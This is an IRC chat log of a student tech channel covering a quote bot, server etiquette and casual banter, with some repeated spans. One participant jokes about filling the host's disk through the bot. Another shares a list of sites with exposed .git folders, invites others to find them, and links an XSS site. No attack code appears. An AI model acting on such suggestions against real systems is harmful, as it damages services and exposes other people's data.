[2015-04-08T22:38:17-0400] <jwoglom> you don't have to put in any work, the feature will still work with all of these quotes
[2015-04-08T22:38:22-0400] <+awe> No, it won't.
[2015-04-08T22:38:23-0400] <jwoglom> you're choosing to put in the effort to remove them
[2015-04-08T22:38:29-0400] <+awe> The server will probably start having issues.
[2015-04-08T22:38:53-0400] <LittleBobbyTables> Can we try
[2015-04-08T22:38:54-0400] <jwoglom> if your server can't handle like 30 quotes of a couple hundred characters each
[2015-04-08T22:38:55-0400] <+awe> It'll probably crash awebot.
[2015-04-08T22:38:59-0400] <+awe> Not that.
[2015-04-08T22:39:01-0400] <+awe> jwoglom: were you listening?
[2015-04-08T22:39:01-0400] <LittleBobbyTables> I really want to try
[2015-04-08T22:39:02-0400] <jwoglom> then you dun goofed
[2015-04-08T22:39:06-0400] <+awe> jwoglom: LittleBobbyTables wants to flood it forever.
[2015-04-08T22:39:15-0400] <LittleBobbyTables> Not forever...
[2015-04-08T22:39:17-0400] <jwoglom> i'm kind of surprised he hasn't already
[2015-04-08T22:39:18-0400] <LittleBobbyTables> Just until it's out of space
[2015-04-08T22:39:30-0400] <assface> write a cronjob that periodically prunes the file
[2015-04-08T22:39:37-0400] <+awe> I shouldn't have to do that.
[2015-04-08T22:39:45-0400] <+awe> You should be mature enough to not ruin the things that are here *for you*.
[2015-04-08T22:39:51-0400] <assface> we also shouldn't need SSL
[2015-04-08T22:39:53-0400] <LittleBobbyTables> *should*
[2015-04-08T22:40:05-0400] <kenzierocks> s/shoudln't/should/
[2015-04-08T22:40:16-0400] <kenzierocks> ...do we have sed-like replacement
[2015-04-08T22:40:22-0400] <LittleBobbyTables> no
[2015-04-08T22:40:31-0400] <kenzierocks> meh
[2015-04-08T22:40:32-0400] <LittleBobbyTables> it's all vim, you have to put a colon in front
[2015-04-08T22:40:38-0400] <+awe> If anyone connected here without SSL, everything is snoop-able, and you have no guarantee that messages they receive or you receive from them are actually from them.
[2015-04-08T22:41:06-0400] <assface> you shouldn't need it because the world should be a perfect paradise where nobody breaks other people's computers
[2015-04-08T22:41:09-0400] <kenzierocks> flip-side: no one's probably going to attack this server
[2015-04-08T22:41:18-0400] <LittleBobbyTables> ^lies
[2015-04-08T22:41:21-0400] <LittleBobbyTables> I already have lol
[2015-04-08T22:41:33-0400] <assface> I'd imagine you commies trying shite
[2015-04-08T22:41:34-0400] <kenzierocks> welp
[2015-04-08T22:41:38-0400] <kenzierocks> ~~~~~~~~
[2015-04-08T22:41:45-0400] <+awe> That's not what I said, assface.
[2015-04-08T22:41:50-0400] <LittleBobbyTables> I was successful, to.
[2015-04-08T22:41:52-0400] <+awe> I didn't say the world is a perfect paradise where nobody breaks things.
[2015-04-08T22:41:56-0400] <LittleBobbyTables> Granted, a $5 droplet is pretty weak.
[2015-04-08T22:41:56-0400] <assface> awe: you're right, I said that
[2015-04-08T22:42:04-0400] <+awe> I said that I expect you to be mature and not break the things that I provide for you.
[2015-04-08T22:42:31-0400] <LittleBobbyTables> That's asking a lot
[2015-04-08T22:42:36-0400] <+awe> It shouldn't be.
[2015-04-08T22:42:38-0400] <kenzierocks> add a shell feature that's already running su
[2015-04-08T22:43:00-0400] <kenzierocks> /no one/ will ever do anything bad
[2015-04-08T22:43:03-0400] <LittleBobbyTables> It's a bunch of young CS students
[2015-04-08T22:43:29-0400] <LittleBobbyTables> And me
[2015-04-08T22:43:35-0400] <LittleBobbyTables> That's kind of a recipe for disaster
[2015-04-08T22:43:44-0400] <+awe> There's a million things on the web to break. Why break the place you're at?
[2015-04-08T22:44:08-0400] <LittleBobbyTables> Because I know nothing will happen
[2015-04-08T22:44:08-0400] <+awe> You can go exploit my website.
[2015-04-08T22:44:52-0400] <+awe> You can run another instance of awebot in a separate channel and mess with it.
[2015-04-08T22:45:11-0400] <+awe> But do not mess with the things I'm providing for you.
[2015-04-08T22:45:14-0400] <+awe> It's not cool.
[2015-04-08T22:45:24-0400] <+awe> It's one thing to mess around and try to crash it.
[2015-04-08T22:45:36-0400] <+awe> It's another thing to actively plan to flood my disk and mess with the entire server.
[2015-04-08T22:48:10-0400] <kenzierocks> bye
[2015-04-08T22:49:49-0400] <calc0000> man i was like I GOT PINGED
[2015-04-08T22:49:53-0400] <calc0000> but it was just awebot
[2015-04-08T22:50:12-0400] <+awe> calc0000: well, and it was LittleBobbyTables adding that quote to awebot.
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[2015-04-08T22:39:01-0400] <LittleBobbyTables> I really want to try
[2015-04-08T22:39:02-0400] <jwoglom> then you dun goofed
[2015-04-08T22:39:06-0400] <+awe> jwoglom: LittleBobbyTables wants to flood it forever.
[2015-04-08T22:39:15-0400] <LittleBobbyTables> Not forever...
[2015-04-08T22:39:17-0400] <jwoglom> i'm kind of surprised he hasn't already
[2015-04-08T22:39:18-0400] <LittleBobbyTables> Just until it's out of space
[2015-04-08T22:39:30-0400] <assface> write a cronjob that periodically prunes the file
[2015-04-08T22:39:37-0400] <+awe> I shouldn't have to do that.
[2015-04-08T22:39:45-0400] <+awe> You should be mature enough to not ruin the things that are here *for you*.
[2015-04-08T22:39:51-0400] <assface> we also shouldn't need SSL
[2015-04-08T22:39:53-0400] <LittleBobbyTables> *should*
[2015-04-08T22:40:05-0400] <kenzierocks> s/shoudln't/should/
[2015-04-08T22:40:16-0400] <kenzierocks> ...do we have sed-like replacement
[2015-04-08T22:40:22-0400] <LittleBobbyTables> no
[2015-04-08T22:40:31-0400] <kenzierocks> meh
[2015-04-08T22:40:32-0400] <LittleBobbyTables> it's all vim, you have to put a colon in front
[2015-04-08T22:40:39-0400] <+awe> If anyone connected here without SSL, everything is snoop-able, and you have no guarantee that messages they receive or you receive from them are actually from them.
[2015-04-08T22:41:06-0400] <assface> you shouldn't need it because the world should be a perfect paradise where nobody breaks other people's computers
[2015-04-08T22:41:09-0400] <kenzierocks> flip-side: no one's probably going to attack this server
[2015-04-08T22:41:18-0400] <LittleBobbyTables> ^lies
[2015-04-08T22:41:21-0400] <LittleBobbyTables> I already have lol
[2015-04-08T22:41:33-0400] <assface> I'd imagine you commies trying shite
[2015-04-08T22:41:34-0400] <kenzierocks> welp
[2015-04-08T22:41:38-0400] <kenzierocks> ~~~~~~~~
[2015-04-08T22:41:45-0400] <+awe> That's not what I said, assface.
[2015-04-08T22:41:50-0400] <LittleBobbyTables> I was successful, to.
[2015-04-08T22:41:52-0400] <+awe> I didn't say the world is a perfect paradise where nobody breaks things.
[2015-04-08T22:41:56-0400] <LittleBobbyTables> Granted, a $5 droplet is pretty weak.
[2015-04-08T22:41:56-0400] <assface> awe: you're right, I said that
[2015-04-08T22:42:04-0400] <+awe> I said that I expect you to be mature and not break the things that I provide for you.
[2015-04-08T22:42:31-0400] <LittleBobbyTables> That's asking a lot
[2015-04-08T22:42:36-0400] <+awe> It shouldn't be.
[2015-04-08T22:42:38-0400] <kenzierocks> add a shell feature that's already running su
[2015-04-08T22:43:00-0400] <kenzierocks> /no one/ will ever do anything bad
[2015-04-08T22:43:03-0400] <LittleBobbyTables> It's a bunch of young CS students
[2015-04-08T22:43:29-0400] <LittleBobbyTables> And me
[2015-04-08T22:43:35-0400] <LittleBobbyTables> That's kind of a recipe for disaster
[2015-04-08T22:43:44-0400] <+awe> There's a million things on the web to break. Why break the place you're at?
[2015-04-08T22:44:08-0400] <LittleBobbyTables> Because I know nothing will happen
[2015-04-08T22:44:08-0400] <+awe> You can go exploit my website.
[2015-04-08T22:44:52-0400] <+awe> You can run another instance of awebot in a separate channel and mess with it.
[2015-04-08T22:45:11-0400] <+awe> But do not mess with the things I'm providing for you.
[2015-04-08T22:45:14-0400] <+awe> It's not cool.
[2015-04-08T22:45:24-0400] <+awe> It's one thing to mess around and try to crash it.
[2015-04-08T22:45:36-0400] <+awe> It's another thing to actively plan to flood my disk and mess with the entire server.
[2015-04-08T22:48:10-0400] <kenzierocks> bye
[2015-04-08T22:49:49-0400] <calc0000> man i was like I GOT PINGED
[2015-04-08T22:49:52-0400] <calc0000> but it was just awebot
[2015-04-08T22:50:12-0400] <+awe> calc0000: well, and it was LittleBobbyTables adding that quote to awebot.
[2015-04-08T22:59:46-0400] <alokpathy> kenzierocks: See ya
[2015-04-08T23:05:53-0400] Mode is +nt
[2015-04-08T23:23:38-0400] <LittleBobbyTables> You can't blame me for that
[2015-04-08T23:24:39-0400] <LittleBobbyTables> I mean you can
[2015-04-08T23:24:42-0400] <LittleBobbyTables> but still
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[2015-04-08T23:49:04-0400] <JacobEdelman> http://www.penny-arcade.com/comic/2015/02/04/precautions
[2015-04-08T23:49:10-0400] <JacobEdelman> http://www.penny-arcade.com/comic/2015/01/28/what-is-your-ghost-plan
[2015-04-08T23:49:22-0400] <JacobEdelman> http://www.penny-arcade.com/comic/2015/01/07/codex-parentes
[2015-04-08T23:51:43-0400] <LittleBobbyTables> virus dont click
[2015-04-08T23:55:40-0400] <JacobEdelman> lol
[2015-04-09T00:04:06-0400] <LittleBobbyTables> trust me
[2015-04-09T00:04:08-0400] <LittleBobbyTables> im a virus exper
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[2015-04-09T00:14:41-0400] <JacobEdelman> http://www.penny-arcade.com/comic/2014/08/27/like-you-do
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[2015-04-09T00:25:49-0400] <JacobEdelman> wow
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[2015-04-09T00:36:15-0400] <LittleBobbyTables> That wasn't me
[2015-04-09T00:45:07-0400] <assface> ehh?
[2015-04-09T00:45:27-0400] <+awe> I am officially caught up on PhD Comics.
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[2015-04-09T01:06:54-0400] <sdamashek> go go netsplits
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[2015-04-09T01:09:59-0400] <jwoglom> ayy
[2015-04-09T01:17:57-0400] <LittleBobbyTables> wtf is happening
[2015-04-09T01:18:03-0400] <LittleBobbyTables> awe: why are your servers breaking
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[2015-04-09T01:32:14-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=FU9YJRN0v1Y
[2015-04-09T01:32:17-0400] <LittleBobbyTables> holy shit this is fucking great
[2015-04-09T01:33:09-0400] <LittleBobbyTables> "you need to get some sense, you could have been raped in the butt" -- brother
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[2015-04-09T10:13:04-0400] <JacobEdelman> gmorning all
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[2015-04-09T11:12:34-0400] Disconnect for Sleep Mode
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[2015-04-09T21:58:03-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-09T21:58:03-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-09T20:33:52-0400] <LittleBobbyTables> No it's not.
[2015-04-09T20:33:56-0400] <LittleBobbyTables> We both know it's going to continue.
[2015-04-09T20:39:48-0400] <assface> gawd dammit
[2015-04-09T20:40:03-0400] <assface> I have a 5 page essay due tomorrow and I absolutely can't get myself to do it
[2015-04-09T20:43:49-0400] <LittleBobbyTables> Hire some kid on /r/outsource
[2015-04-09T20:45:18-0400] <assface> lol
[2015-04-09T21:00:45-0400] <nezorg> assface: same here, though i have an extension on it :3
[2015-04-09T21:01:16-0400] <LittleBobbyTables> ur an extension
[2015-04-09T21:03:49-0400] <assface> no u
[2015-04-09T21:04:21-0400] <assface> nezorg: yeah but you missed a timed writing :}
[2015-04-09T21:39:29-0400] <ubuntor> @quote
[2015-04-09T21:39:30-0400] <+awebot> <awebot> ayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
[2015-04-09T21:39:36-0400] <ubuntor> @quote
[2015-04-09T21:39:37-0400] <+awebot> <awe> All of these quotes of mine are a lie!
[2015-04-09T21:39:40-0400] <ubuntor> @quote
[2015-04-09T21:39:40-0400] <+awebot> <awebot> ayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
[2015-04-09T21:39:49-0400] <ubuntor> @quote
[2015-04-09T21:39:49-0400] <+awebot> <awebot> ayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
[2015-04-09T21:39:50-0400] <ubuntor> @quote
[2015-04-09T21:39:50-0400] <+awebot> <I> am jesus.
[2015-04-09T21:39:56-0400] <alokpathy> Dude what
[2015-04-09T21:40:08-0400] <ubuntor> excellent quotes
[2015-04-09T21:54:35-0400] <LittleBobbyTables> @quote 7
[2015-04-09T21:54:35-0400] <+awebot> <awe> All of these quotes of mine are a lie!
[2015-04-09T21:54:38-0400] <LittleBobbyTables> @quote 8
[2015-04-09T21:54:39-0400] <+awebot> <LittleBobbyTables> I am a skid.
[2015-04-09T21:54:41-0400] <LittleBobbyTables> @quote 6
[2015-04-09T21:54:42-0400] <+awebot> <awe> I said this. You can trust me, because i'm awe.
[2015-04-09T21:54:44-0400] <LittleBobbyTables> which one was it
[2015-04-09T21:54:46-0400] <LittleBobbyTables> @quote 9
[2015-04-09T21:54:46-0400] <+awebot> <LittleBobbyTables> you're a race condition
[2015-04-09T21:54:48-0400] <LittleBobbyTables> @quote 10
[2015-04-09T21:54:48-0400] <+awebot> <_(ツ)_> 
[2015-04-09T21:54:50-0400] <LittleBobbyTables> @quote 11
[2015-04-09T21:54:50-0400] <+awebot> <awe> awebot ajvpot alokpathy assface bob_twinkles calc0000 Fill fwilson Hyper hardmath123 jwoglom jwoglomvps kenzierocks LittleBobbyTables MrSaints nezorg nickolas360 nickthename Pharyngeal sdamashek Tamini_ Tamini The_Master ubuntor z3t zrl 
[2015-04-09T21:54:53-0400] <LittleBobbyTables> 11, ok
[2015-04-09T21:54:55-0400] <jwoglom> nice.
[2015-04-09T21:55:25-0400] <alokpathy> Dammit guys
[2015-04-09T21:55:29-0400] <alokpathy> I thought I was important
[2015-04-09T21:55:38-0400] <ubuntor> ...
[2015-04-09T21:55:47-0400] <nickthename> this bot blows
[2015-04-09T21:55:53-0400] <jwoglom> @quote
[2015-04-09T21:55:53-0400] <+awebot> <awebot> ayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
[2015-04-09T21:55:57-0400] <ubuntor> @quote
[2015-04-09T21:55:57-0400] <+awebot> <JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-04-09T21:56:01-0400] <ubuntor> @quote
[2015-04-09T21:56:01-0400] <+awebot> <JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-04-09T21:56:02-0400] <ubuntor> @quote
[2015-04-09T21:56:02-0400] <+awebot> <awebot> ayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
[2015-04-09T21:57:07-0400] <alokpathy> Stahp
[2015-04-09T21:58:05-0400] Mode is +nt
[2015-04-09T22:00:00-0400] <+awe> [21:55:47]  <nickthename>	this bot blows
[2015-04-09T22:00:10-0400] <+awe> nickthename: correction: some people using this bot blow.
[2015-04-09T22:00:24-0400] <LittleBobbyTables> like who
[2015-04-09T22:00:49-0400] <LittleBobbyTables> z3t, right?
[2015-04-09T22:01:05-0400] <+awe> I don't think I need to clarify any further. ;)
[2015-04-09T22:03:01-0400] <bob_twinkles> that freaking quote >_>
[2015-04-09T22:03:33-0400] <alokpathy> :|
[2015-04-09T22:04:44-0400] <LittleBobbyTables> which one
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[2015-04-09T22:12:04-0400] <LittleBobbyTables> Tamini_: wanna go see chappie this weekend
[2015-04-09T22:14:00-0400] <kenzierocks> Tamini_: am back in sb
[2015-04-09T22:14:09-0400] <kenzierocks> sb is happy place
[2015-04-09T22:14:55-0400] <Tamini_> heh
[2015-04-09T22:14:59-0400] <Tamini_> yay sunshine?
[2015-04-09T22:15:32-0400] <kenzierocks> yea
[2015-04-09T22:15:35-0400] <kenzierocks> well
[2015-04-09T22:15:39-0400] <kenzierocks> sun is set right now
[2015-04-09T22:15:42-0400] <kenzierocks> but yea
[2015-04-09T22:25:36-0400] <assface> we get plenty of sunshine
[2015-04-09T22:25:42-0400] <assface> lack of sunshine would be better
[2015-04-09T22:30:38-0400] <alokpathy> kenzierocks: 7 hours?
[2015-04-09T22:31:25-0400] <kenzierocks> of>?
[2015-04-09T22:32:36-0400] <kenzierocks> alokpathy: ^
[2015-04-09T22:37:01-0400] <alokpathy> Driving
[2015-04-09T22:37:04-0400] <alokpathy> from SF to SB
[2015-04-09T22:37:29-0400] <kenzierocks> about yea
[2015-04-09T22:37:34-0400] <kenzierocks> we took a lot of breaks
[2015-04-09T22:40:10-0400] <alokpathy> Ah okay
[2015-04-09T22:40:13-0400] <alokpathy> That explains it.
[2015-04-09T22:40:16-0400] <+awe> kenzierocks: That's weak. I can do seven hours non-stop.
[2015-04-09T22:40:30-0400] <kenzierocks> no
[2015-04-09T22:40:41-0400] <+awe> It's a twenty-two hour drive from home to Uni for me. :)
[2015-04-09T22:40:42-0400] <kenzierocks> it;s not that it took time -> we needed breaks
[2015-04-09T22:41:09-0400] <kenzierocks> it's that we just had a flight -> we were almost asleep -> we took breaks -> it took time
[2015-04-09T22:41:20-0400] <kenzierocks> literally we had just gotten off the plane
[2015-04-09T22:41:24-0400] <kenzierocks> and started driving
[2015-04-09T22:41:41-0400] <+awe> Yeah, like I said, that's weak. I would've driven straight.
[2015-04-09T22:41:56-0400] <kenzierocks> ok, you can crash
[2015-04-09T22:42:08-0400] <kenzierocks> seriously my dad like fell asleep
[2015-04-09T22:42:21-0400] <kenzierocks> please no more fucking jopke
[2015-04-09T22:42:23-0400] <kenzierocks> k
[2015-04-09T22:48:17-0400] <JacobEdelman> so
[2015-04-09T22:48:22-0400] <JacobEdelman> the rolling stones bassist https://en.wikipedia.org/wiki/Bill_Wyman#Person
[2015-04-09T22:48:26-0400] <JacobEdelman> Bill Wyman
[2015-04-09T22:48:34-0400] <JacobEdelman> married a girl of 18 when he was 52
[2015-04-09T22:48:54-0400] <JacobEdelman> her name was  Mandy Smith
[2015-04-09T22:49:03-0400] <JacobEdelman> then his son from another marriage
[2015-04-09T22:49:08-0400] <JacobEdelman> married  Mandy Smith's mother
[2015-04-09T22:49:24-0400] <JacobEdelman> so generation wise
[2015-04-09T22:49:34-0400] <JacobEdelman> Bill = Mandy by marriage
[2015-04-09T22:49:45-0400] <JacobEdelman> Bill's Son = Mandy's Mother by marriage
[2015-04-09T22:50:09-0400] <JacobEdelman> Bill's son is one generation below bill (by birth) and Mandy to her Mother so Bill's son = Mandy
[2015-04-09T22:50:18-0400] <JacobEdelman> so by transitive property and such and other logices
[2015-04-09T22:50:25-0400] <JacobEdelman> Bill Wyman became his own grandma
[2015-04-09T22:50:28-0400] <JacobEdelman> *grandp
[2015-04-09T22:50:31-0400] <JacobEdelman> *grandp
[2015-04-09T22:50:34-0400] <JacobEdelman> *grandpa
[2015-04-09T22:50:39-0400] <JacobEdelman> wow, such typo
[2015-04-09T22:51:55-0400] <jwoglom> reminds me of the roswell futurama episode
[2015-04-09T22:52:00-0400] <+awe> JacobEdelman: What you mean to say is that Bill is his own grandfather-in-law.
[2015-04-09T22:52:09-0400] <+awe> JacobEdelman: and that his son is his father-in-law.
[2015-04-09T22:52:26-0400] <+awe> JacobEdelman: and he is his son's son-in-law.
[2015-04-09T22:52:49-0400] <JacobEdelman> jwoglom: yup!
[2015-04-09T22:52:54-0400] <JacobEdelman> I just watched that
[2015-04-09T22:53:09-0400] <JacobEdelman> the idea originated ina song called "I'm my own grandpa"
[2015-04-09T22:53:12-0400] <JacobEdelman> awe: oh shush
[2015-04-09T22:53:27-0400] <JacobEdelman> awe: :P
[2015-04-09T22:53:32-0400] <jwoglom> ha :P
[2015-04-09T22:53:36-0400] <jwoglom> futurama is awesome
[2015-04-09T22:55:07-0400] <LittleBobbyTables> Did you just now figure this out
[2015-04-09T22:56:29-0400] <jwoglom> figure out what?
[2015-04-09T23:00:29-0400] <LittleBobbyTables> https://gist.github.com/evilpacket/829e12f9428f4952d333
[2015-04-09T23:00:37-0400] <LittleBobbyTables> ~400 of those have exposed .git folders
[2015-04-09T23:00:42-0400] <LittleBobbyTables> if anyone wants to try to find them lol
[2015-04-09T23:00:59-0400] <+awe> LittleBobbyTables: why...?
[2015-04-09T23:01:24-0400] <LittleBobbyTables> why not?
[2015-04-09T23:02:26-0400] <+awe> What good would that do? I don't know what these sites even are.
[2015-04-09T23:02:50-0400] <LittleBobbyTables> I don't either
[2015-04-09T23:02:53-0400] <LittleBobbyTables> And idk
[2015-04-09T23:03:05-0400] <LittleBobbyTables> But flip those around to answer that in the correct order
[2015-04-09T23:07:47-0400] <JacobEdelman> LittleBobbyTables: where'd you get the list from
[2015-04-09T23:08:54-0400] <LittleBobbyTables> it's a secret
[2015-04-09T23:09:23-0400] <assface> found it on hackernews  most likely
[2015-04-09T23:09:31-0400] <LittleBobbyTables> nope
[2015-04-09T23:09:41-0400] <JacobEdelman> he totally did
[2015-04-09T23:10:10-0400] <LittleBobbyTables> why would they post a private git on hackernewds
[2015-04-09T23:10:18-0400] <LittleBobbyTables> -d, but that was a glorious typo
[2015-04-09T23:11:37-0400] <LittleBobbyTables> https://xss.io/
[2015-04-09T23:11:37-0400] <LittleBobbyTables> also
[2015-04-09T23:11:39-0400] <LittleBobbyTables> that's a good site
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[2015-04-09T23:46:23-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-09T22:50:39-0400] <JacobEdelman> wow, such typo
[2015-04-09T22:51:55-0400] <jwoglom> reminds me of the roswell futurama episode
[2015-04-09T22:52:00-0400] <+awe> JacobEdelman: What you mean to say is that Bill is his own grandfather-in-law.
[2015-04-09T22:52:09-0400] <+awe> JacobEdelman: and that his son is his father-in-law.
[2015-04-09T22:52:26-0400] <+awe> JacobEdelman: and he is his son's son-in-law.
[2015-04-09T22:52:49-0400] <JacobEdelman> jwoglom: yup!
[2015-04-09T22:52:54-0400] <JacobEdelman> I just watched that
[2015-04-09T22:53:09-0400] <JacobEdelman> the idea originated ina song called "I'm my own grandpa"
[2015-04-09T22:53:12-0400] <JacobEdelman> awe: oh shush
[2015-04-09T22:53:27-0400] <JacobEdelman> awe: :P
[2015-04-09T22:53:32-0400] <jwoglom> ha :P
[2015-04-09T22:53:36-0400] <jwoglom> futurama is awesome
[2015-04-09T22:55:07-0400] <LittleBobbyTables> Did you just now figure this out
[2015-04-09T22:56:29-0400] <jwoglom> figure out what?
[2015-04-09T23:00:29-0400] <LittleBobbyTables> https://gist.github.com/evilpacket/829e12f9428f4952d333
[2015-04-09T23:00:37-0400] <LittleBobbyTables> ~400 of those have exposed .git folders
[2015-04-09T23:00:42-0400] <LittleBobbyTables> if anyone wants to try to find them lol
[2015-04-09T23:00:59-0400] <+awe> LittleBobbyTables: why...?
[2015-04-09T23:01:24-0400] <LittleBobbyTables> why not?
[2015-04-09T23:02:26-0400] <+awe> What good would that do? I don't know what these sites even are.
[2015-04-09T23:02:50-0400] <LittleBobbyTables> I don't either
[2015-04-09T23:02:53-0400] <LittleBobbyTables> And idk
[2015-04-09T23:03:05-0400] <LittleBobbyTables> But flip those around to answer that in the correct order
[2015-04-09T23:07:47-0400] <JacobEdelman> LittleBobbyTables: where'd you get the list from
[2015-04-09T23:08:54-0400] <LittleBobbyTables> it's a secret
[2015-04-09T23:09:23-0400] <assface> found it on hackernews  most likely
[2015-04-09T23:09:31-0400] <LittleBobbyTables> nope
[2015-04-09T23:09:41-0400] <JacobEdelman> he totally did
[2015-04-09T23:10:10-0400] <LittleBobbyTables> why would they post a private git on hackernewds
[2015-04-09T23:10:18-0400] <LittleBobbyTables> -d, but that was a glorious typo
[2015-04-09T23:11:37-0400] <LittleBobbyTables> https://xss.io/
[2015-04-09T23:11:37-0400] <LittleBobbyTables> also
[2015-04-09T23:11:39-0400] <LittleBobbyTables> that's a good site
[2015-04-09T23:39:09-0400] <calc0000> dammit awebot
[2015-04-09T23:39:21-0400] <LittleBobbyTables> lol
[2015-04-09T23:45:17-0400] <JacobEdelman> lol
[2015-04-09T23:45:20-0400] <JacobEdelman>  wait
[2015-04-09T23:45:26-0400] <JacobEdelman> calc0000: it messaged you?
[2015-04-09T23:45:28-0400] <JacobEdelman> why?
[2015-04-09T23:45:40-0400] <kenzierocks> @quote 11
[2015-04-09T23:45:40-0400] <+awebot> <awe> awebot ajvpot alokpathy assface bob_twinkles calc0000 Fill fwilson Hyper hardmath123 jwoglom jwoglomvps kenzierocks LittleBobbyTables MrSaints nezorg nickolas360 nickthename Pharyngeal sdamashek Tamini_ Tamini The_Master ubuntor z3t zrl 
[2015-04-09T23:45:43-0400] <kenzierocks> :DD
[2015-04-09T23:45:44-0400] <alokpathy> kenzierocks: dammit man
[2015-04-09T23:45:46-0400] <alokpathy> .-.
[2015-04-09T23:45:46-0400] <bob_twinkles> fuck that quote so much
[2015-04-09T23:45:48-0400] <JacobEdelman> oooh
[2015-04-09T23:45:50-0400] <JacobEdelman> lol
[2015-04-09T23:45:52-0400] <ubuntor> not again
[2015-04-09T23:45:54-0400] <jwoglom> lol again
[2015-04-09T23:46:15-0400] <alokpathy> Quote 11 not even once
[2015-04-09T23:46:25-0400] <calc0000> dammit
[2015-04-09T23:46:25-0400] <Tamini> can we delete that
[2015-04-09T23:46:25-0400] Mode is +nt
[2015-04-09T23:46:25-0400] <Tamini> please
[2015-04-09T23:46:34-0400] <calc0000> i should just leave
[2015-04-09T23:46:40-0400] <calc0000> i'm just kidding
[2015-04-09T23:46:41-0400] <alokpathy> Nuu D:
[2015-04-09T23:46:42-0400] <alokpathy> Yayy :D
[2015-04-09T23:46:44-0400] <calc0000> i'll probably not do that
[2015-04-09T23:46:49-0400] <kenzierocks> awe: @removequote 11
[2015-04-09T23:46:49-0400] <alokpathy> Yayy :D
[2015-04-09T23:46:54-0400] <bob_twinkles> alokpathy: I think it's been at least 4 by now
[2015-04-09T23:47:02-0400] <kenzierocks> aw awe's away
[2015-04-09T23:47:20-0400] <alokpathy> bob_twinkles: At least it's not a drug
[2015-04-09T23:47:23-0400] <+awe> calc0000: I'd be pissed at you if you left. :p
[2015-04-09T23:47:29-0400] <bob_twinkles> indeed
[2015-04-09T23:47:30-0400] <LittleBobbyTables> Blame awe for that quote, he's the one that said it Kappa
[2015-04-09T23:47:46-0400] <jwoglom> awe pls :P
[2015-04-09T23:47:55-0400] <alokpathy> Wow awe why would you do that? :P
[2015-04-09T23:48:12-0400] <jwoglom> !quote 6
[2015-04-09T23:48:14-0400] <jwoglom> @quote 6
[2015-04-09T23:48:15-0400] <+awebot> <awe> I said this. You can trust me, because i'm awe.
[2015-04-09T23:48:20-0400] <kenzierocks> hah
[2015-04-09T23:48:21-0400] <LittleBobbyTables> >i'm
[2015-04-09T23:48:22-0400] <alokpathy> wao
[2015-04-09T23:48:24-0400] <alokpathy> !quote 1
